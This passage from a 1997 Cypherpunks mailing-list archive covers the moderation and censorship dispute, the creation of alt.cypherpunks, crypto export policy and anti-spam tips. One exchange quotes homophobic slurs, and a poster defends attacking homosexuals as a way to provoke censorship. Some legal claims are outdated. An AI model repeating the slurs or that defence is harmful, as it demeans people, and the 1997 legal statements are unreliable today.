noise of 2-3 years ago from Detweiler. The claims that "the list has become
unusable" were bogus, in my opinion.

(Hence the claims that "you Cyherpunks only complain" are also bogus. I for
one was not complaining and demanding that John and Sandy "do something" to
"fix" the list. I accepted the nonsense spouted about me and John and
others as just part of the chaos expected in any forum. I just filtered and
deleted such nonsense.)

It is true that some signal producers have either moved on to other
things--in many cases to crypto-related companies directly or indirectly
spawned by the Cypherpunks list and contacts!--or are not writing as many
basic essays as they once did. Such is to be expected. People get tired of
writing explanatory articles, and handling newbies.

The key to improving signal is to increase the amount of signal, not to
just suppress noise so as to make the S/N ratio look better. I can easily
hit the "delete" key to remove noise, but I can't hit the "create" key to
increase signal.

--Tim May



Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Fri, 14 Feb 1997 03:26:23 -0800 (PST)
To: Eric Cordian <emc@wire.insync.net>
Subject: Re: alt.cypherpunks
Message-ID: <855918957.105158.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



> I haven't seen any rmgroups for alt.cypherpunks.  Paul Bradley's
> newgroup for alt.cypherpunks is nowhere to be found, but Mike Duvos'
> newgroup made it onto the Net, and was reposted the next day by 
> usenet@news.myriad.ml.org.

My local server (news.demon.co.uk) recognised my newgroup for 
alt.cypherpunks and it was immediately visible, I don`t know how far 
it propogated or where Mikes took effect but whatever the 
distribution we seem to have reached most main news servers.
 
>         alt.cypherpunks.announce
>         alt.cypherpunks.social
>         alt.cypherpunks.technical
> 
> and, of course...
> 
>         alt.fan.paul.bradley

What else?

> The latter has been rmgrouped because it was not discussed in 
> alt.config. 

No, It was rmgrouped because the cmsg had no charter, I posted this 
to see if the Cabal would respond.
 
> I might suggest that deliberately tweeking the whiskers of the Cabal by
> gratuitous newgrouping is unlikely to bode well for alt.cypherpunks. 

Quite so, I recieved mail the next day from a member of said clique 
telling me he "considered rmgrouping alt.cypherpunks.announce" 
because it was unmoderated. Needless to say he got a stern talking to 
for that one ;-) I guess I just have to much of a partiality for a 
little whisker tweeking ;-)




> 
> --
> Eric Michael Cordian 0+
> O:.T:.O:. Mathematical Munitions Division
> "Do What Thou Wilt Shall Be The Whole Of The Law"
> 

  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Fri, 14 Feb 1997 03:28:24 -0800 (PST)
To: "Cynthia H. Brown" <cynthb@sonetis.com>
Subject: Re: alt.cypherpunks
Message-ID: <855918957.105161.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



> > alt.cypherpunks has been newgroup'ed, and I belive rm'grouped. Smart,
> > consiencous newsadmins probably did not honor the rmgroup, as
> > alt.cypherpunks should be acceptable, but most newsadmins are too
> > overworked to actually look at most of the crap that comes through.
> > For example, it hasn't received any messages on my news server,
> > probably because the one upstream removed it. 
> 
> Seems I'm getting alt.cypherpunks.announce (empty), but not
> alt.cypherpunks or any of the others that show up as newgroup'ed on
> Deja News...  Are they alive and well elsewhere? 

All of the groups have showed up at news.demon.co.uk (not suprisingly 
since I grouped them) and I haven`t seen any cancels. I was sent a 
message by some net.scum about him nearly rmgrouping 
alt.cypherpunks.announce because it was unmoderated but he got a 
stern "cypherpunk" talking to for that ;-)


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Jonathan M. Bresler" <jmb@FRB.GOV>
Date: Fri, 14 Feb 1997 09:31:57 -0800 (PST)
To: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Subject: Re: Cypherpunks Distributed Remailer (fwd)
In-Reply-To: <01IFDBB5MRH09ANACB@mbcl.rutgers.edu>
Message-ID: <199702141619.LAA28332@kryten.frb.gov>
MIME-Version: 1.0
Content-Type: text/plain


>	Well, if you can't deliver mail because their mailbox is full, then
>you should simply wait a few days before trying to deliver mail to that
>address. If it's because the address isn't there any more, you should delete
>it from the subscription lists. Otherwise, the instant people's mail quotas
>overflow (e.g., they're on AOL and they haven't been able to get through the
>clogged lines), they get bounced... or you're left with a lot of invalid
>addresses. The address causing the bounce is not necessarily determinable
>automatically from the bounce message; if it isn't, then you need to keep a
>copy around for a human to look at.

	who should bear the burden of dealing with bounces?
	the list admin or the owner of the bouncing address?

	if you have the time and desire, you can accomodate people
that bounce mail due to a temporarily full mailbox.

	if not, unsubscribe them after N bounces in a 24 hour period.  
it becomes their responsibility not to bounce more than N emails.

	when a list has 1000's of subscribers, i have not have been able
to provide the type of personal service that the first option entails. 
i do make a digest version of every list available.  if the digest bounces,
the bouncer??? bouncee?? stays below the N bounces threshhold 
(for many values of N :).

jmb






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: anand abhyankar <anand@querisoft.com>
Date: Thu, 13 Feb 1997 22:24:35 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: crypto restrictions
In-Reply-To: <330466AB.3D19@querisoft.com>
Message-ID: <3304C236.6662@querisoft.com>
MIME-Version: 1.0
Content-Type: text/plain


Jeremiah A Blatz wrote:

thanx for ur answer but then i have another question.

1) is it illegal to develop an encryption tool (s/w) outside the US
which uses > 40 bit size session keys and then import that s/w inside of
the US.

anand....




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 14 Feb 1997 09:29:48 -0800 (PST)
To: Declan McCullagh <declan@well.com>
Subject: Re: USACM analysis of Commerce Dept crypto export proposals
Message-ID: <1.5.4.32.19970214172339.00707910@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


Thanks for forwarding the USACM analysis. We've put it at:

   http://jya.com/usacm.htm

We'd welcome those submitted by cypherpunks or others, for 
putting on jya.com.

It will be some time before BXA publishes them along with the
Final Rule, and, there's worldwide interest in the US's 
foot-shooting.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Hayes <dave@kachina.jetcafe.org>
Date: Fri, 14 Feb 1997 12:29:53 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Moderation experiment almost over; "put up or shut up"
Message-ID: <199702142029.MAA01055@kachina.jetcafe.org>
MIME-Version: 1.0
Content-Type: text/plain


Ok. I'll "put up". 

If the cypherpunks will have me, -I'll- run the cypherpunks
list. Those that know me know that I will *not* censor, moderate, or
otherwise alter the content (other than the stuff majordomo does with
"resend") of any messages to the list.
------
Dave Hayes - Altadena CA, USA - dave@jetcafe.org 
Freedom Knight of Usenet - http://www.jetcafe.org/~dave/usenet

    Advice is priceless; when it becomes interference it is preposterous.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Hayes <dave@kachina.jetcafe.org>
Date: Fri, 14 Feb 1997 12:36:08 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: Moderation experiment almost over; "put up or shut up"
Message-ID: <199702142035.MAA01111@kachina.jetcafe.org>
MIME-Version: 1.0
Content-Type: text/plain


Against Moderation writes:
> If you want to fight censorship effectively, going around telling
> people "You're a shit-eating faggot you fucking cock-sucking homo
> censor" in public forums is not going to win you many points.

On the contrary. 

John Grubor is Usenet's most effective probe as to the mindset of
people who really want free speech. The precise litmus test of
free speech is vehemently offensive things that are spoken.

> Instead, it will quickly land you in many people's killfiles, and will
> eventually lead some people with bad client software to wonder if it
> wouldn't be worth giving up some freedom of speech for the benefit of
> not having to see your rants any more.

Then they don't want free speech. They want the illusion of free
speech, "free speech as long as you don't say THOSE things". 

> Unfortunately, it sort of makes life harder for those who actually
> fight the censorship when you pretend to be one of them.  Your
> argument seems to run something like, "To protect freedom of speech,
> bad all faggots from the net, and especially don't let them run any
> mailing lists."  If this offensive and highly noticeable argument
> eclipses many of the important, fundamental ones as the censors would
> like it too (why do you think your articles make it to cypherpunks-
> flames while mine only get as far as -unedited), you will end up not
> only inducing censorship but also seriously hampering the efforts of
> those who are legitimately fighting that censorship.

Don't you get it? Real censorship issues do not arise until someone
rocks the boat. It takes someone to rock the boat to make you aware
of your own prejudices of that nature. If it takes attacking
homosexuals and pissing them off enough to make them show their
true colors and begin censorship...so be it. Why be civil when that
civility serves to hide that which is ultimately against free speech?

You'll find those of us who -truly- want free speech are extremely
good at ignoring what we don't like.
------
Dave Hayes - Altadena CA, USA - dave@jetcafe.org 
Freedom Knight of Usenet - http://www.jetcafe.org/~dave/usenet

Don't teach the blind until you have practiced living with closed eyes






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Fri, 14 Feb 1997 12:57:30 -0800 (PST)
To: Tim May <tcmay@got.net>
Subject: Re: Keep it Simple and the Cypherpunk Way
In-Reply-To: <199702131958.LAA09879@toad.com>
Message-ID: <199702142057.MAA06000@netcom10.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



what TCM continues to stick his head in the sand over
is the fact that the list noise levels have gotten outlandishly
out of control over recent times, far beyond anything in memory. 
what is it due to? 

it appears that there is a basic law of cyberspace that S/N decreases 
as you add more people. it seems to be a very obvious and repeatable
property.

there are some significant lessons about cryptoanarchy that are
completely evading TCM. how well does anarchy scale? apparently, not
well. TCM would like to pretend that just deleting posts and having
outsider filterers is a "solution" to the problem and argues for
business as usual, upholding the status quo.

the problem is that when you have a deteriorating situation, the
status quo is not a valid concept. keeping the status quo means
further deterioration.

TCM also fails to address the problem of AGENT PROVOCATEURS. the
cyberspace list is intensely fragile and susceptible/ vulnerable
to them as Vulis demonstrates. it only takes ONE and a lot of 
tentacles. does TCM propose a solution to this? no, of course not,
because he has a blind spot when it comes to realizing the
PATENTLY OBVIOUS FLAWS OF CRYPTOANARCHY that stare him in the face.

if cpunks had a formal way of making decisions, and some loyalty
to each other, instead of BAILING OUT at the slightest difficulty,
perhaps the situation would be different, eh? see how quickly people
who were once friends simply WALK OUT on each other in the cryptoanarchist
approach? where is the loyalty? the sense of working for the greater
good? it's gone. TCM simply ABANDONS the list at the first opportunity,
and ignores the years of hard work that J.G. has put into it.

timmy, cpunks, etc. you are getting a lesson in REALITY. you are seeing
the logical conclusion of your views playing out before you.
acrimony, bitterness, resignation, chaos, confusion, cacaphony,
anarchy.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Scott A. Hommel" <shommel@zoo.uvm.edu>
Date: Fri, 14 Feb 1997 10:13:57 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <Pine.A32.3.91.970214131327.41294A-100000@gnu.uvm.edu>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Is it legal or illegal to send a 
PGP encrypted message from the US to someone in another country?

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBMwSrJdaX0pKkbeJ9AQG1ogQAloERqECRmAgHAOPq1LwTrWXMw9/E2c0C
Q8TqlVuc6pmW+L+DmTrMb0eZdSTJ00A4Fa4j1390UJEncA1X+zHMNMY9CmUJgDKZ
ROWNiD8tHiIQYJBH2400WYxKsFPb2mX31SJFc4gK0hQtturtzNXWjOGtowqes6MU
kp3/vpeFXZ4=
=pLXe
-----END PGP SIGNATURE-----


*********************************
Scott A. Hommel
President,
New Paradigm Design, Inc.

PGP key available at:
http://paradigm-2.com/scott.html

*********************************






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Fri, 14 Feb 1997 13:06:09 -0800 (PST)
To: Vin McLellan <cypherpunks@toad.com
Subject: Re: Good Bye Cypherpunks!
In-Reply-To: <199702142007.PAA16030@relay1.shore.net>
Message-ID: <v03007805af2a81a440c4@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 3:07 PM -0500 2/14/97, Vin McLellan wrote:

>        My understanding of Sandy's effort, for instance, was that he was to
>filter out the sludge of spam and contentless name-calling with which some
>idiots were flooding the list.  My impression was that he was passing along
>any posts with content (ideas, pro or con, on almost anything) but filtering
>out the empty obscene name-calling and slurs (many of which seemed anon or
>forged, with varied and misleading titles, to duck my kill-file filters.)

Well, Vin, your understanding was flawed. Many thoughtful, "non-sludge"
posts were filtered out. Some never made it to either the "main" list nor
the "flames" list, as all posts were supposed to do.

(John Gilmore acknowledged this in his message. Anyone subscribing to only
the Flames list, as I was for a while, would see some posts not making it
to the Main list (viewable via the archive sites) nor to the Flames list.)

Even my very long and thoughtful (I think, and others have said as much)
essay on why I had been off the list for several weeks was _almost_
censored by Sandy, by his own words. Because he disliked some turn of
phrase I used in describing the ramblings of Toto, Dale Thorn, and Vulis,
he said he almost killed the entire piece, ultimately letting it through as
a "judgment call."

This is what I call a "chilling effect." Never knowing whether one's essays
will pass muster with the Chief Censor is not exactly a reason to spend a
lot of time composing a long piece.

And was my article the kind of "sludge of spam" and "countless
name-calling" you thought the Moderation experiment was all about?

And what of the four or five of my posts a week ago which never made it to
either the Main list or the Flames list? The contained no "sludge of spam"
nor "countless name-calling." What they dealt with was a claim (like this
one) that some posts were not being passed on to either of the two lists,
and that perhaps a conflict of interest was developing.

Does this still match your "understanding of Sandy's effort"?

By the way, I can forward to those who are interested these four or five
posts which got "Meta-Censored." (Unless too many people request
them...I'll promise to forward them to the first five people who request
them...then some of you can repost them to the list and see if they make it
through.)



>        By the logic of Tim and others, a clever and dedicated crusade
>against Cypherpunks by any minimally-organized group, bir or small -- your
>local coven, CoS, RC bishops, FBI, Romanian Govt, , whomever!  -- could have
>destroyed the List at any time in the past.  I'm glad they never realized
>how vulnerable we were;  I've enjoyed this Community greatly  in its current
>manifestation.

The list was not destroyed when S. Boxx/Pablo
Escobar/anon12054/Detweiler/vznuri was blasting us with dozens of messages
a day screaming that "tentacles were eating his brain" and that Cypherpunks
were out to destroy him. Believe me, for those who were there, that was a
topic of much greater daily discussion than the   insult-a-day stuff is
today.

(And yet, because journalists now frequent the CP list in greater numbers
than 2-3 years ago, at least two journalists are sniffing around for a
story on the current situation, where essentially none were very interested
in the Detweiler episode a couple of years ago, which was good. I recall
John Markoff asking me about it at Hackers, in 1993, but he didn't see it
as an especially significant story. I agree with this.)

>         I also hate to think of how gleeful the sociopaths who mail-bombed
>us into the choice of submission or suicide must be today.  I think it is a
>particularly henious crime to destroy a virtual community; something akin to
>book-burning, but maybe more like arson -- like burning village schools.
>
>    There was a willful attempt to destroy C'punks, an attack of depth and
>volume which led many of us (even those who had ignored at least three
>earlier efforts to offer filtered subsets to the List)  to welcome the
>Moderation Experiment. Unfortunately, the attempt at moderation just twisted
>our own energies against ourselves.  We were, perhaps predictably, quite
>easy to manipulate.

On this I agree with Vin. The "censorship" episodes were the predictable
outcome of such attacks, and this "psy-ops" experiment is a victory by
whoever it was who was attacking. Detweiler failed to get the list to start
censorship and "limitations of anarchic freedoms," but the current attacker
has succeeded.

--Tim May

Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Hayes <dave@kachina.jetcafe.org>
Date: Fri, 14 Feb 1997 13:21:12 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: Moderation experiment almost over; "put up or shut up"
Message-ID: <199702142120.NAA01318@kachina.jetcafe.org>
MIME-Version: 1.0
Content-Type: text/plain


> Dave Hayes wrote:
> > You'll find those of us who -truly- want free speech are extremely
> > good at ignoring what we don't like.
> Not all of you freedom-knights are good at it at all.

The "us" I mentioned did not refer to the freedom knights, but "those
of us who -truly- want free speech"...a slight english parsing
problem. The freedom knights are a subset of those who want free
speech.
------
Dave Hayes - Altadena CA, USA - dave@jetcafe.org 
Freedom Knight of Usenet - http://www.jetcafe.org/~dave/usenet

It is our ability to act as ourselves, freely and of our own choosing,
that is the greatest gift to mankind; my Creator, the sole being in the
universe who legitimately had power over me, gave me that power freely
in order to enable me to become what I am.                  -- Russ Allbery







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aaron@herringn.com
Date: Fri, 14 Feb 1997 13:24:14 -0800 (PST)
To: cypherpunks@toad.com
Subject: Cypherpunks afraid of spam?
In-Reply-To: <199702141611.IAA09328@toad.com>
Message-ID: <l03010d00af2a675dff72@[204.57.198.5]>
MIME-Version: 1.0
Content-Type: text/plain


[Fairly prominent Cypherpunk I'll decline to name- I don't mean to ridicule
him personally, just his (distressingly common) attitude]

>Just for the record.  I will not post to USENET given the spamming that
>seems to go to IDs that appear there.

[chuckle]

Just add an anti-spam segment to your email address.

example:

jsmith[at]foo.com

Most people worth talking to have enough of a clue to replace [at] with @.

if your software requires an apparently valid email address, try

jsmith@NOSPAM.foo.com

I put a spam-busted address in my .sig and give root@127.0.0.1 as my email
in the from: header. Sure, somebody out there is going to be unhappy with
me, but if they have a clue they'll figure it out. Meantime, the SpamBots
are bouncing mail to the admin of the site instead of to me.

That may not be enough if you're already in the spamming lists. Try
using 'positive' filtering- instead of filtering to eliminate unwanted
mail, filter email from regular correspondents into a 'approved'
directory, and leave the rest in the inbox to pick through later.

It seems very strange that the denziens of this list, reputed to be gutsy
enough to take on the FBI, NSA, CIA, and White House, would be scared
away from a discussion forum (Usenet) by uninvited email.

We'd better hope they never figure out Cypherpunks, Guardians of
Privacy and Defenders of Free Speech, are afraid of spam.

(And supposedly the 'Moderation experiment' is over, so this won't get
kicked onto the -flames list, although it's more ridicule than flame...)








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Date: Fri, 14 Feb 1997 10:51:40 -0800 (PST)
To: Toto <toto@sk.sympatico.ca>
Subject: Re: Fuck UseNet
In-Reply-To: <m0vuw3H-000JGWC@cognac.apana.org.au>
Message-ID: <0n1==E200YUf0=T0s0@andrew.cmu.edu>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Toto <toto@sk.sympatico.ca> reminds me while I've killfiled him:
>   So, basically, you're saying that the flight from censorship should
> be toward a new CypherPunk 'home' where one is effectively censored
> automatically unless one kisses the ass of a Cabal?

Yup. You're begging resources, deal with it. We didn't kiss John
Gillmore's ass, and he decided that he was tired of the shit and
stopped letting us squat on his land. If we were paying him for the
use of toad, he maybe wouldn't have the right to yank it so suddenly,
but we weren't, so it's his call. Same with usenet. The "cabal" has
high reputation capital. News admins the world over trust them. One
might say that they deserve the respect they get, but that is
immaterial to the discussion. the fact is that people who donate
resources to usenet trust the cabal.

Unless you have a contractual relationship, you're begging, and you
have to convince your benefactors to give you stuff. If you have a
different model for a world economy, feel free to post it. 

Jer

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole

PS. Of course, the cabal didn't rmgroup alt.cypherpunks, thus showing
that they do have some good sence yet.
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Kj6VnQibFnCKb2BTkQfkqYCpdKIUhvLL
=dkhj
-----END PGP SIGNATURE-----




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Date: Fri, 14 Feb 1997 11:08:19 -0800 (PST)
To: cypherpunks-unedited@toad.com
Subject: Re: [Declan McCullagh: "A List Goes Down In Flames," from Netly]
In-Reply-To: <199702140921.JAA00328@server.test.net>
Message-ID: <0n1=SV200YUf0=T7E0@andrew.cmu.edu>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Adam Back <aba@dcs.ex.ac.uk> writes:
<snip declan's rather well-balanced article>
> What does `crusty' mean as applied to a former Intel engineer?

Try definition 2

Word         crusty (KRUHS'tee)  adj.
Definition   --adj. -ier, -iest.  1. Like or having a crust.  2. Surly
             or brusk.

Jer

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

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kE30sVsW4juawhXGRIAWJ/5Ce9lBLPdp
=bB+u
-----END PGP SIGNATURE-----




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 14 Feb 1997 11:13:23 -0800 (PST)
To: cypherpunks@toad.com
Subject: Industry Blasts U.S. Encryption Policy
Message-ID: <1.5.4.32.19970214190701.00706eb4@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


2-14-97. National Business Review, NZ (http://www.nbr.co.nz/):

USA: Industry Groups Blast U.S. Encryption Policy.

Washington, Feb 13 (Reuter) - An array of private-sector trade groups 
charged Thursday the Clinton administration's new export policy on 
computer encoding technology was a failure. 

Encryption products, which scramble information and render it unreadable 
without a password or software "key," are subject to strict export 
limits, although the administration recently relaxed the rules a bit. 

The new policy "does not adequately address the needs of either the 
American business community or the general public," the 13 groups said 
in a letter to Clinton dated Wednesday and released Thursday. 

Among the groups signing the letter were the U.S. Chamber of Commerce, 
the National Association of Manufacturers and the National Retail 
Federation, along with a host of high-tech industry groups such as the
Business Software Alliance and the Information Technology Association of 
America. 

The Centre for Democracy and Technology, an advocacy group for civil 
liberties in cyberspace, and the Association of Research Libraries also 
signed the letter. 

An administration spokeswoman said that, despite the complaints, the 
current policy would be maintained. 

"The administration is moving ahead with our encryption export 
liberalisation policy," spokeswoman Heidi Kukis said. The policy balances 
diverse interests by "allowing us to develop exports while protecting our 
national security," she said. 

The administration has repeatedly said it opposes allowing unfettered 
powerful encryption programmes out of the country where they could be 
used by international criminals and terrorists. 

Under current policy, U.S. companies cannot export products containing 
so-called strong encryption, used to protect everything from a business' 
electronic mail to a consumer's credit card number sent over the Internet,
unless the products also allow the government to crack the code by 
recovering the software keys. 

Companies can get a license to export medium-strength encryption lacking 
so-called key recovery features if the companies agree to incorporate 
key recovery in future products within two years. 

The Commerce Department has issued three licenses so far under the 
two-year provision. Digital Equipment Corp., Trusted Information Systems 
Inc., and Cylink Corp. won approval by promising to offer key recovery
products by 1999. 

International Business Machines Corp. and Hewlett Packard Co. have said 
they are also seeking licenses. 

But companies and privacy advocates rejected the administration's key 
recovery-based approach. 

"It fails to accommodate the competitiveness concerns of sellers of 
encryption products, the security concerns of the buyers of such products, 
or important privacy rights," the groups said in their letter. 

"We believe a fundamental rethinking of this policy is necessary," they 
added. "We remain interested in working with you to achieve a constructive 
solution to this very difficult problem." 

Congress is already considering proposals to dramatically relax the export 
restrictions without requiring key recovery. 

-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Fri, 14 Feb 1997 13:07:09 -0800 (PST)
To: ravage@EINSTEIN.ssz.com (Jim Choate)
Subject: Re: Private property & the cypherpunks list(s) (fwd)
In-Reply-To: <199702141456.GAA07230@toad.com>
Message-ID: <199702142210.OAA21977@songbird.com>
MIME-Version: 1.0
Content-Type: text


Jim Choate allegedly said:
> 
> 
> Forwarded message:
> 
> > Date: Thu, 13 Feb 1997 02:08:21 -0800
> > From: Greg Broiles <gbroiles@netbox.com>
> > Subject: Private property & the cypherpunks list(s)
> 
[...]
> 
> What I really find interesting is that in the 3 years SSZ has been up and
> the 8 mailing lists (with about 300 subscribers total) nobody has ever
> complained about the public domain policy and nobody has ever put a
> copyright header on their messages. All these lists are technical and
> several of them are directly involved with technical development of
> projects, some for commercial apps.
> 
> 
>                                                 Jim Choate
>                                                 CyberTects
>                                                 ravage@ssz.com
> 
> 

Jim, if I put "Copyright (c) 1997 by Kent Crispin.  All Rights 
Reserved." in my .sig, would that constitute a "fair-use header"?

In general, I rather like your policy.  

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com,kc@llnl.gov		the thief he kindly spoke...
PGP fingerprint:   5A 16 DA 04 31 33 40 1E  87 DA 29 02 97 A3 46 2F




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Omegaman" <omega@bigeasy.com>
Date: Fri, 14 Feb 1997 12:15:51 -0800 (PST)
To: cypherpunks@toad.com
Subject: Congressional subcommittee hearings on computer security
Message-ID: <199702142014.OAA58406@tetsuo.communique.net>
MIME-Version: 1.0
Content-Type: text/plain


                Computer crimes rife,
                unreported 
                By Reuters
                February 13, 1997, 9:45 a.m. PT 

                WASHINGTON--Security experts say hackers
                are finding it easier to break into computer
                networks and steal money, partly because
                companies are reluctant to admit that they are
                vulnerable. 

                "If I want to steal money, a computer is a much
                better tool than a handgun," Daniel Geer, director of
                engineering for Open Market, told a House of
                Representatives technology subcommittee hearing on
                computer security. "


Has anyone been following this debate more closely?  Nothing in any 
of the articles I've seen on this story have mentioned the role of 
strong encryption.

<rhetorical question mode on>
Why can't banks better protect themselves?  Why can't banks better 
authenticate electronic transactions to prevent theft & break-ins?  
Why is the such a dearth of protective measures available to the 
institutions?

The public has a right to know!
<rhetorical question mode off>

Seriously, though, has anyone been following these hearings in more 
detail?

me

---------------------------------------------------------------------
Omegaman <mailto:omegam@cmq.com>|"When they kick out your front door,
   PGP Key fingerprint =        | How are you gonna come? 
   6D 31 C3 00 77 8C D1 C2      | With your hands upon your head,   
   59 0A 01 E3 AF 81 94 63      | Or on the trigger of your gun?" 
Send email with "get key" as the| -- The Clash, "Guns of Brixton"
"Subject:"to get my public key  |   _London_Calling_ , 1980
---------------------------------------------------------------------




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Omegaman" <omega@bigeasy.com>
Date: Fri, 14 Feb 1997 12:19:29 -0800 (PST)
To: cypherpunks@algebra.com
Subject: Re:
In-Reply-To: <855947474.1029113.0@fatmans.demon.co.uk>
Message-ID: <199702142018.OAA113544@tetsuo.communique.net>
MIME-Version: 1.0
Content-Type: text/plain


> 
> > Is it legal or illegal to send a 
> > PGP encrypted message from the US to someone in another country?
> 
> Yes.
> 
> 

No it's not.  Where do you get this?  It would be illegal to send 
them a copy of the PGP program.  But sending encrypted messages is 
not illegal.

Please, cite your source
---------------------------------------------------------------------
Omegaman <mailto:omegam@cmq.com>|"When they kick out your front door,
   PGP Key fingerprint =        | How are you gonna come? 
   6D 31 C3 00 77 8C D1 C2      | With your hands upon your head,   
   59 0A 01 E3 AF 81 94 63      | Or on the trigger of your gun?" 
Send email with "get key" as the| -- The Clash, "Guns of Brixton"
"Subject:"to get my public key  |   _London_Calling_ , 1980
---------------------------------------------------------------------




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Fri, 14 Feb 1997 13:36:17 -0800 (PST)
To: toto@sk.sympatico.ca (Toto)
Subject: Re: Fuck UseNet
In-Reply-To: <199702141611.IAA09309@toad.com>
Message-ID: <199702142239.OAA22248@songbird.com>
MIME-Version: 1.0
Content-Type: text


Toto allegedly said:
> 
> Jeremiah A Blatz wrote:
> > alt.cypherpunks has been newgroup'ed, and I belive rm'grouped. Smart,
> > consiencous newsadmins probably did not honor the rmgroup, as
> > alt.cypherpunks should be acceptable, but most newsadmins are too
> > overworked to actually look at most of the crap that comes through.
> 
> > Therefore, it would be a Good Thing to continue any discussion on
> > alt.config, and convince any cabal'ers who rmgroup it to re-new it.
> > Sending out boosters every couple of weeks wouldn't hurt, either.
> 
>   So, basically, you're saying that the flight from censorship should
> be toward a new CypherPunk 'home' where one is effectively censored
> automatically unless one kisses the ass of a Cabal?

Pretty much, yes.  The voting process for a comp group is better, IMO.

But the distributed mailing list is by far the most interesting 
solution.  Contrary to what some have claimed, it really isn't the 
same as usenet -- it allows for distributed control.  There is no 
doubt that the operator of a mail list host should have the freedom 
to set his or her policies as they see fit -- it is their machine, 
and their responsibility.  And contrariwise, subscribers should have 
the freedom to chose list hosts with compatible philosophies.


-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com,kc@llnl.gov		the thief he kindly spoke...
PGP fingerprint:   5A 16 DA 04 31 33 40 1E  87 DA 29 02 97 A3 46 2F




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Fri, 14 Feb 1997 13:11:30 -0800 (PST)
To: dave@kachina.jetcafe.org (Dave Hayes)
Subject: Re: Moderation experiment almost over; "put up or shut up"
In-Reply-To: <199702142035.MAA01111@kachina.jetcafe.org>
Message-ID: <199702142104.PAA02356@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Dave Hayes wrote:
> You'll find those of us who -truly- want free speech are extremely
> good at ignoring what we don't like.

Not all of you freedom-knights are good at it at all.

I would go as far as to say that only you, Dave Hayes, are good at it.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vin McLellan <vin@shore.net>
